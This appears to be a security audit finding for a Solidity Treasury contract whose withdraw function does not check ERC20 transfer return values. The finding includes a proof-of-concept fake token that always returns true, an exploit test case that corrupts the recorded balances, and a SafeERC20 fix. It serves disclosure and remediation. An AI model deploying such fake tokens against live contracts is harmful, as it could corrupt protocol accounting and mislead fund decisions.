Description
The Treasury::withdraw
function decreases internal balance tracking before performing token transfers without validating the success of the ERC20 transfer operation. This enables a scenario where the contract's recorded balances (_balances
and _totalValue
) can be artificially deflated while no actual tokens are transferred, when interacting with ERC20 tokens that return false
instead of reverting on failed transfers.
Proof of Concept
Deploy an ERC20 token that returns false
on failed transfers instead of reverting
Deposit any amount of this token into the treasury
Manager calls Treasury::withdraw
with valid parameters
Token transfer fails silently (returns false
) but treasury balances are still decreased
contract MaliciousToken {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
function setFakeBalance(address account, uint256 amount) external {
_balances[account] = amount;
}
function approve(address spender, uint256 amount) external returns (bool) {
_allowances[msg.sender][spender] = amount;
return true;
}
function transfer(address, uint256) external pure returns (bool) {
return true;
}
function transferFrom(address, address, uint256) external pure returns (bool) {
return true;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
}
Test case to add to existing test suite in Treasury.test.js
:
describe("Exploit: Fake withdrawals", () => {
it("should corrupt totalValue when multiple tokens exist", async () => {
const legitToken = await (
await ethers.getContractFactory("MockToken")
).deploy("Good", "GOOD", 18);
await legitToken.mint(user1.address, 1000);
const badToken = await (
await ethers.getContractFactory("MaliciousToken")
).deploy();
await badToken.setFakeBalance(user1.address, 1000);
await legitToken.connect(user1).approve(treasury.getAddress(), 1000);
await badToken.connect(user1).approve(treasury.getAddress(), 1000);
await treasury.connect(user1).deposit(legitToken.getAddress(), 500);
await treasury.connect(user1).deposit(badToken.getAddress(), 1000);
await badToken.setFakeBalance(treasury.getAddress(), 1000);
expect(await treasury.getTotalValue()).to.equal(1500);
await treasury
.connect(manager)
.withdraw(badToken.getAddress(), 500, user2.address);
expect(await treasury.getBalance(badToken.getAddress())).to.equal(500);
expect(await treasury.getTotalValue()).to.equal(1000);
expect(await badToken.balanceOf(treasury.getAddress())).to.equal(1000);
expect(await legitToken.balanceOf(treasury.getAddress())).to.equal(500);
});
});
Impact
High severity. Treasury value can be artificially deflated while retaining actual tokens, enabling:
Incorrect protocol accounting
Potential fund mismanagement decisions based on false data
Possible collateralization ratio miscalculations if used in lending protocols
Recommendation
contracts/core/collectors/Treasury.sol
+ import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract Treasury {
+ using SafeERC20 for IERC20;
function withdraw(...) {
// ... existing code ...
- IERC20(token).transfer(recipient, amount);
+ IERC20(token).safeTransfer(recipient, amount);
}
}
bool success = IERC20(token).transfer(recipient, amount);
if (!success) revert TransferFailed();